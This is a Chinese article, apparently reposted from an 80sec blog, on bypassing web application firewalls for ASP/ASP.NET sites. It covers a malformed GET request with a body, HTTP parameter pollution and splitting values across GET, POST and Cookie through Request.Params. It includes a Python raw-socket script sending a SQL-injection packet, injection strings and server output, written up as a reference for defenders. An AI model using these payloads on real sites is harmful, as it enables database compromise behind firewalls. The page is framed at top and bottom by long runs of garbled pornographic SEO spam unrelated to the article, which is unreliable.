精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

淺談繞過WAF的數種方法

安全
08年初誕生了一種SQL群注攻擊,黑客在全球范圍內對asp,asp.net加MSSQL架構的網站進行了瘋狂掃蕩。由于MSSQL支持多語句注入,黑客通過一條結合游標的SQL語句就能將整個數據庫的字段內容自動進行篡改,可以在網站上無差別的進行網頁木馬攻擊。

0×00 前言

08年初誕生了一種SQL群注攻擊,黑客在全球范圍內對asp,asp.net加MSSQL架構的網站進行了瘋狂掃蕩。由于MSSQL支持多語句注入,黑客通過一條結合游標的SQL語句就能將整個數據庫的字段內容自動進行篡改,可以在網站上無差別的進行網頁木馬攻擊。

互聯網是快速更新迭代的,但是很多沒有開發能力的單位都是通過外包建立網站,網站的程序一上線就再也無人維護,很多程序存在各種漏洞無法修補,于是WAF便有了市場,現今門檻低且最能解決問題的是針對IIS/apache的軟件WAF,通常一個模塊一個擴展就能搞定,當然也有耗資百萬千萬的硬件WAF,然而如果WAF攔截規則出現漏洞,這百萬千萬的硬件也就是一堆廢鐵。那么WAF是否真的可以解決所有的WEB安全問題呢?所以本文主要解析一些可以繞過WAF的罕見漏洞,供安全人員參考。

0×01 Request對象的包解析漏洞.

asp和asp.net的Request對象存在一個包解析漏洞,Request對象對于GET和POST包的解析過于寬松,用一句話表達就是Request對象它GET和POST傻傻分不清楚,稍有點web開發經驗的同學應該知道Request接收GET,POST,COOKIE也就是GPC傳過來的數據,但是asp和.net庫內置的Request對象完全不按RFC標準來,下面我們可以做個測試:

分別將下面兩段代碼保存為1.asp和1.aspx

使用asp的Request對象接收t參數傳值

———————————————–

 

  1. <%  
  2.  
  3. Response.Write “Request:” & Request(“t”)  
  4.  
  5. %>  
  6.  

 

———————————————–

使用asp.net的Request對象接收t參數傳值

———————————————–

 

  1. <%@ Page Language=”C#” %>  
  2.  
  3. <%  
  4.  
  5. string test = Request["t"];  
  6.  
  7. Response.Write(“Request:”+test);  
  8.  
  9. %>  
  10.  

 

———————————————–

使用下面的python腳本調用socket發送原始的HTTP包

———————————————–

 

  1. #!/usr/bin/env python  
  2.  
  3. import socket  
  4.  
  5. host = ’192.168.239.129′  
  6.  
  7. path = ‘/1.asp’  
  8.  
  9. port = 80 
  10.  
  11. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  12.  
  13. s.connect((host, port))  
  14.  
  15. s.settimeout(8)  
  16.  
  17. exploit_packet=”t=’/**/or/**/11=1–”  
  18.  
  19. exploit_packet+=”\r\n” * 8  
  20.  
  21. packet_length = len(exploit_packet)  
  22.  
  23. packet=’GET ‘ + path + ‘ HTTP/1.1\r\n’  
  24.  
  25. packet+=’Host: ‘ + host + ‘\r\n’  
  26.  
  27. packet+=’Content-Length: %s\r\n’ % packet_length  
  28.  
  29. packet+=’Content-Type: application/x-www-form-urlencoded\r\n’  
  30.  
  31. packet+=’\r\n’  
  32.  
  33. packetpacket = packet + exploit_packet  
  34.  
  35. print packet  
  36.  
  37. s.send(packet)  
  38.  
  39. buf = s.recv(1000)  
  40.  
  41. if buf: print buf[buf.rfind("\r\n"):]  
  42.  
  43. s.close()  
  44.  

 

———————————————–

我們發送的原始包是:

GET /1.asp HTTP/1.1

Host: 192.168.239.129

Content-Length: 34

Content-Type: application/x-www-form-urlencoded

t=’/**/or/**/1=1– 

結果返回如下:

Request:’/**/or/**/1=1–

將python測試腳本的path改為/1.aspx測試頁返回同樣結果。

我們可以看到這是一個畸形的HTTP GET請求包,這個包的奧秘在于t=’/**/or/**/1=1–參數后的8個回車換行和Content-Length頭,包的結構類似于一個POST包,而請求的方法是GET,最后asp和asp.net的Request對象成功的解析了這個畸形包取出了數據。

所以如果WAF沒有處理好HTTP包的內容,沿用常規思路處理GET和POST的邏輯的話,那么這個畸形包將會毀掉WAF的基礎防御。

0×02 被遺忘的復參攻擊.

大家應該還記得09年的HTTP Parameter Pollution攻擊,查看[3]文檔,可以發現ASP/IIS和ASP.NET/IIS的場景下存在一個復參特性,本文將利用這種的特性的攻擊簡稱為復參攻擊,用0X01里的例子簡單的測試一下:

用GET請求傳入兩個t參數

GET http://192.168.239.129/1.asp?t=1&t=2

將返回

Request:1, 2

asp和asp.net的Request對象接收了兩個參數,并且以逗號分隔,所以便衍生出了[3]文檔中的復參SQL注入方法:

 

  1. Vulnerable code:  
  2.  
  3. SQL=”select key from table where id=”+Request.QueryString(“id”)  
  4.  
  5. This request is successfully performed using the HPP technique:  
  6.  
  7. /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users  
  8.  
  9. The SQL request becomes:  
  10.  
  11. select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,  
  12.  

 

我們可以看到通過巧妙的運用注釋符結合復參特性可以分割GET參數中的SQL注入語句,如果WAF對GET參數的處理過于簡單是不是會匹配不到攔截規則呢?

0×03 高級復參攻擊.

ASP.NET的Request對象有一個Params屬性,ASP.NET程序員在一些程序中會使用Request.Params["xxx"]傳入數據,參考[4]微軟MSDN文檔我們可以知道Params屬性的特性,該屬性接收GET,POST和Cookie的傳值集合,這里我們可以修改0×01里的例子測試一下:

使用asp.net的Request.Params方法接收t參數傳值

———————————————–

 

  1. <%@ Page Language=”C#” %>  
  2.  
  3. <%  
  4.  
  5. string test = Request.Params["t"];  
  6.  
  7. Response.Write(“Request:”+test);  
  8.  
  9. %>  
  10.  

 

———————————————–

發送一個POST包,GET,POST,COOKIE三個方法中都帶有不同的t參數內容

———————————————–

POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1

Host: 192.168.239.129

Cookie: t=2

t=3

———————————————–

結果返回

Request:1,3,2

最后得出結論,Request.Params方法接收的數據是按照GPC順序整合,看到這里的同學再聯想到0×02的復參攻擊應該如醍醐灌頂了,我們可以將SQL攻擊語句拆分到GET,POST,COOKIE三個變量里進行組合攻擊。想一想WAF針對這種高級復參攻擊是否防御好了?

0×04 后話

WAF是不可能解決所有安全問題的,本文的思路歸其本源實際上是描敘了WAF處理HTTP包與服務端處理HTTP包數種差異。互聯網是不斷更新迭代的,差異存在,類似的漏洞也會存在。

本文提到了三種繞過WAF的思路,第一種是我的原創屬于0DAY狀態,第二種是參考已有的復參攻擊,其中第三種高級復參攻擊是由Safe3同學提出的,本文也是與Safe3同學討論他開發的WAF的BUG而來,所以感謝Safe3同學。

另外請大家不要將本文的內容用于非法途徑,僅供安全人員參考,謝謝。

EMail: rayh4c#80sec.com

Site: http://www.80sec.com

Date: 2011-09-06

From: http://www.80sec.com/?p=244

 【編輯推薦】

  1. 如何選擇合適的Web應用防火墻(WAF)?
  2. Web應用程序防火墻(WAF)將無處不在
  3. Web Application Firewall(WAF)入門

 

責任編輯:于爽 來源: 80sec.com
相關推薦

2012-12-24 13:50:54

2019-02-19 08:45:41

2013-05-13 11:25:02

WAFWeb應用防火墻WAF繞過

2013-06-03 10:02:53

WAF繞過

2013-01-11 16:23:29

2015-06-16 13:37:03

2020-08-26 14:44:05

CDNIP子域名

2020-07-31 11:02:09

網絡攻擊WAF黑客

2009-07-28 16:07:40

.NET圖片快速處理

2013-12-18 09:39:37

XSSWAF繞過

2017-03-03 09:10:09

2022-08-03 12:28:58

云WAF網絡攻擊Web應用防火墻

2016-12-27 19:19:51

2019-05-07 08:15:21

2009-04-20 14:29:41

Oracle連接創建連接

2013-04-19 13:20:14

2022-08-24 08:07:11

MyBatisSQLMySQL

2017-09-01 21:00:05

MySQLSQL優化查詢方法

2023-10-09 08:32:57

GaussDBDRS數據庫

2017-12-14 21:45:39

點贊
收藏

51CTO技術棧公眾號

国产普通话bbwbbwbbw| 阿v天堂2014| 91老司机福利在线| 97久久精品人人做人人爽50路| 91av成人在线| 国产黄色大片免费看| 伊人久久大香伊蕉在人线观看热v| 中文字幕一区二区三区不卡| 91亚洲精品视频| 日本视频www| 欧美日韩亚洲在线观看| 69久久99精品久久久久婷婷| www.国产在线播放| 国产在线视频网| 国产精一区二区三区| 91精品国产高清自在线| 激情五月激情综合| 久久97久久97精品免视看秋霞| 在线免费高清一区二区三区| 亚洲国产成人久久| 午夜免费看毛片| caoprom在线| 中文字幕在线免费不卡| 国产精品久久国产三级国电话系列 | 国产综合第一页| 中文字幕福利视频| 99在线|亚洲一区二区| 中文字幕一区电影| 日本japanese极品少妇| 国产精区一区二区| 色八戒一区二区三区| 国产91沈先生在线播放| 高清美女视频一区| 99久久精品国产毛片| 亚洲综合第一页| 糖心vlog精品一区二区| 亚洲久久成人| 欧美成人午夜激情| 在线视频第一页| 日本韩国欧美超级黄在线观看| 欧美日韩国产一级二级| 国产无套粉嫩白浆内谢的出处| 自拍亚洲图区| 亚洲欧美综合在线精品| 欧美日韩亚洲在线| 四季av日韩精品一区| 美女视频黄频大全不卡视频在线播放| 午夜精品久久久久久久白皮肤 | 欧美电影一区| 亚洲欧洲在线观看| 99久久免费看精品国产一区 | 精品视频一区二区| 韩国av免费在线观看| 国产精品一区二区三区99| 国产日韩一区在线| 91成人一区二区三区| 蓝色福利精品导航| 国产美女精品免费电影| 久久久久亚洲视频| 日本视频免费一区| 国产福利视频一区二区| 亚洲av无码不卡| 日韩中文欧美在线| 国产精品日韩精品| 中文字幕av网站| 久久国产精品区| 成人a在线观看| 99国产精品欲| 国产成人免费高清| 国产精品一区视频网站| 熟妇高潮一区二区三区| 久久先锋资源网| 日韩高清av| 天堂中文8资源在线8| 中文字幕一区二区三中文字幕| 一区二区在线观看网站| a在线免费观看| 亚洲综合网站在线观看| 男人日女人视频网站| 91av亚洲| 欧美三日本三级三级在线播放| 亚洲欧洲日本精品| 久久久久毛片免费观看| 精品国产a毛片| 欧美亚一区二区三区| jizzjizz欧美69巨大| 日韩有码在线电影| 一区二区三区免费高清视频| 亚洲综合精品| 国产欧美日韩中文字幕在线| 精品久久久无码中文字幕| av亚洲精华国产精华精| 午夜精品区一区二区三| 天堂亚洲精品| 99久久精品久久久久久清纯| 欧美另类一区| 国产在线69| 精品久久久香蕉免费精品视频| 国产一级特黄a大片免费| 亚洲一区二区小说| 亚洲精品720p| 制服丨自拍丨欧美丨动漫丨| 很黄很黄激情成人| 国产精品久久久91| www.污视频| 国产欧美日本一区视频| av在线免费观看国产| 深夜成人影院| 精品国产露脸精彩对白| 久久久久99精品成人| 激情婷婷久久| 成人国产精品一区二区| 午夜视频福利在线观看| 中文字幕在线不卡一区二区三区| youjizz.com在线观看| 欧美黑人粗大| 欧美日韩国产影片| 亚洲国产第一区| 99久久精品费精品国产| 91精品国产91久久久久久久久| 国产又粗又猛视频免费| 成人夜色视频网站在线观看| 日韩精品欧美一区二区三区| 最近中文字幕免费mv2018在线 | 亚洲精品不卡| 成人高潮aa毛片免费| 欧美性一区二区| 加勒比精品视频| 91精品久久久久久久蜜月| 国产91对白在线播放| 国产人妖在线播放| 久久久久久日产精品| 国产亚洲黄色片| 成人久久精品| 一区二区三区四区视频| 日韩欧美亚洲国产| 国产乱码精品一区二区三区av| 欧洲亚洲一区二区| av大全在线| 欧美一区二区三区在线| 中文字幕黄色网址| 亚洲男人影院| 国模精品娜娜一二三区| 丝袜综合欧美| 69堂精品视频| 日本aⅴ在线观看| 蜜桃av一区二区在线观看| 久久久久久国产精品免费免费| av大片在线| 欧美剧在线免费观看网站| 公侵犯人妻一区二区三区| 最新日韩在线| 久久99精品久久久久久久青青日本 | 国产日韩欧美另类| 大片免费播放在线视频| 色综合天天性综合| 成人午夜剧场视频网站| 亚洲综合二区| 亚洲精品第一区二区三区| 性欧美videohd高精| 亚洲精品久久久久中文字幕二区| 国产亚洲欧美久久久久| 国产福利精品一区| 久久香蕉视频网站| 国产亚洲人成a在线v网站| 尤物tv国产一区| 久久久蜜桃一区二区| 91麻豆精品视频| 午夜肉伦伦影院| 免费短视频成人日韩| 日韩暖暖在线视频| 欧美女优在线| 欧美日韩三级一区二区| 国产18无套直看片| 老司机精品视频在线| 一区二区三区久久网| 日韩福利在线观看| 久久在精品线影院精品国产| 性猛交富婆╳xxx乱大交天津| 亚洲欧美日韩国产成人精品影院| 日韩久久久久久久久久久| 中文字幕一区二区三区乱码图片 | 黑人精品欧美一区二区蜜桃| 三年中国中文在线观看免费播放| 91丨精品丨国产| 久久影院中文字幕| 欧美一级特黄aaaaaa大片在线观看| 亚洲va国产天堂va久久en| 亚洲av无码一区二区三区观看| 免费亚洲一区| 亚洲精品中文综合第一页| 一区二区三区| 国产69精品久久久久99| 亚洲欧美日韩成人在线| 日韩欧美在线字幕| 极品魔鬼身材女神啪啪精品| 国产成人免费视频网站| 日韩中文字幕在线视频观看| 精品国产一区二区三区四区| 成人午夜在线视频一区| av蜜臀在线| 亚洲四色影视在线观看| 精品久久人妻av中文字幕| 丰满岳妇乱一区二区三区| 国产精品久久免费观看| 国产成人免费视频网站| 在线观看高清免费视频| 欧美日韩国产一区精品一区| 久久99蜜桃综合影院免费观看| 日韩欧美2区| 欧美激情视频在线观看| 国产在线观看99| 久久女同精品一区二区| 亚洲国产日韩欧美在线观看| 黄色日韩精品| 亚洲国产精品日韩| 欧美黑白配在线| 国产精品国语对白| 草草影院在线| 国产午夜一区二区| 亚洲欧美激情另类| 欧美三级日韩在线| 日韩美女视频网站| 亚洲视频一二三区| 久久久久亚洲av成人无码电影| 成人综合婷婷国产精品久久蜜臀 | www.youjizz.com在线| 少妇高潮久久久久久潘金莲| 日韩中文字幕综合| 欧美精品国产精品| 日韩在线播放中文字幕| 中文字幕亚洲电影| 亚洲一级黄色录像| 久久久久久久久一| 国产高潮视频在线观看| 极品少妇xxxx精品少妇| 日韩视频免费在线播放| 国产精品日本| 99在线观看视频免费| 视频在线不卡免费观看| 欧美婷婷久久| 精品福利一区| 超碰97在线播放| 在线视频亚洲欧美中文| 成人a视频在线观看| 国产一区二区三区朝在线观看| 亚州国产精品久久久| 中国av在线播放| 蜜臀久久99精品久久久无需会员| eeuss影院www在线播放| 亚洲欧美中文日韩v在线观看| 色综合视频在线| 亚洲精品一区二区三区福利| 国产精品毛片一区二区在线看舒淇 | 亚洲午夜精品国产| 精品国产一区二区三区| 欧美日韩另类综合| 亚洲激情77| 国产不卡一区二区在线观看| 国产毛片久久久| 亚洲自拍中文字幕| 日韩精品视频中文字幕| 91人成网站www| 精品99re| 国产精品国产精品国产专区蜜臀ah | 九九久久精品| 欧美日韩综合网| 国产午夜一区| 亚洲精品一区二区毛豆| 亚洲91视频| 欧美中文字幕在线观看视频 | 国产米奇在线777精品观看| 国产精品自在自线| 国产一区二区精品在线观看| 57pao国产成永久免费视频| 美女免费视频一区| www.成人黄色| 不卡一二三区首页| 黄色av网址在线观看| 久久综合色一综合色88| 一级片手机在线观看| 国产精品亲子伦对白| 999精品视频在线观看播放| 国产精品网曝门| 国产精品老熟女一区二区| 亚洲午夜影视影院在线观看| 中文在线观看免费网站| 色综合天天综合在线视频| 波多野结衣黄色网址| 欧美三区在线观看| www男人的天堂| 亚洲欧洲av一区二区| 爱久久·www| 欧美日韩高清区| 电影一区二区三| 91精品久久久久久久久久久久久久| 亚洲一区二区电影| 成人av免费电影| 少妇精品久久久一区二区| 综合一区中文字幕| 一区精品久久| 熟女性饥渴一区二区三区| 激情久久五月天| 91玉足脚交白嫩脚丫| 久久青草欧美一区二区三区| www国产亚洲精品久久麻豆| 中文字幕av观看| 亚洲欧美成aⅴ人在线观看| 日本黄色小说视频| 色综合夜色一区| 国产影视一区二区| 亚洲精品久久久久中文字幕二区 | 亚洲精品大尺度| 伦xxxx在线| 热久久美女精品天天吊色| 自拍偷拍亚洲图片| 免费亚洲一区二区| 国产综合自拍| 香港日本韩国三级网站| 成人性生交大片免费看中文| 日韩黄色中文字幕| 一区二区三区在线不卡| 精品乱码一区内射人妻无码| 精品国产乱码久久| 精品国产白色丝袜高跟鞋| 国产福利精品视频| 伊人春色精品| 成人午夜精品久久久久久久蜜臀| 久久超碰97人人做人人爱| 双性尿奴穿贞c带憋尿| 亚洲欧洲av在线| 亚洲永久精品视频| 亚洲欧美激情在线视频| 538在线观看| 亚洲自拍另类欧美丝袜| 日韩精品免费| 久久久久久香蕉| 91色婷婷久久久久合中文| 欧美日韩在线视频免费播放| 欧美午夜精品伦理| 国产精品国产高清国产| 欧美黄色www| 蜜桃精品视频| 亚洲一区不卡在线| 麻豆精品一区二区三区| 国产毛片久久久久久久| 精品久久久久久亚洲精品| 韩国av电影在线观看| 俺去了亚洲欧美日韩| 成人永久在线| 曰韩不卡视频| 奇米色一区二区| 日韩福利在线视频| 欧美日韩视频第一区| 137大胆人体在线观看| 国产成人精品午夜| 国产欧美日韩视频在线| 午夜精品久久久内射近拍高清| 久久综合五月天婷婷伊人| 天堂中文字幕在线观看| 国产视频久久久| 亚洲黄色免费av| 精品国产一区二区三区日日嗨| 在线日本成人| 亚洲一区二区乱码| 欧美性开放视频| 国产中文字幕在线| 日韩美女视频免费看| 成人av二区| 中文字幕 日韩 欧美| 亚洲男女一区二区三区| 国产情侣一区二区| 久久久久久久久久国产| 久久久久97| www.国产区| 久久精品在线免费观看| 一级黄色片在线| 欧美二区乱c黑人| 日韩mv欧美mv国产网站| 国产aaa一级片| 亚洲欧洲av一区二区三区久久| 国产av无码专区亚洲a∨毛片| 欧美国产亚洲精品久久久8v| 爱爱精品视频| jizz欧美激情18| 亚洲三级在线播放| 刘亦菲久久免费一区二区| 日韩av电影在线播放| 手机亚洲手机国产手机日韩| 三上悠亚 电影| 日韩欧美在线字幕| v片在线观看| 久久久久se| 韩国毛片一区二区三区| 欧美做爰爽爽爽爽爽爽| 日韩黄在线观看| 日本欧美在线| 日韩视频免费播放| kk眼镜猥琐国模调教系列一区二区| 在线观看你懂的网站|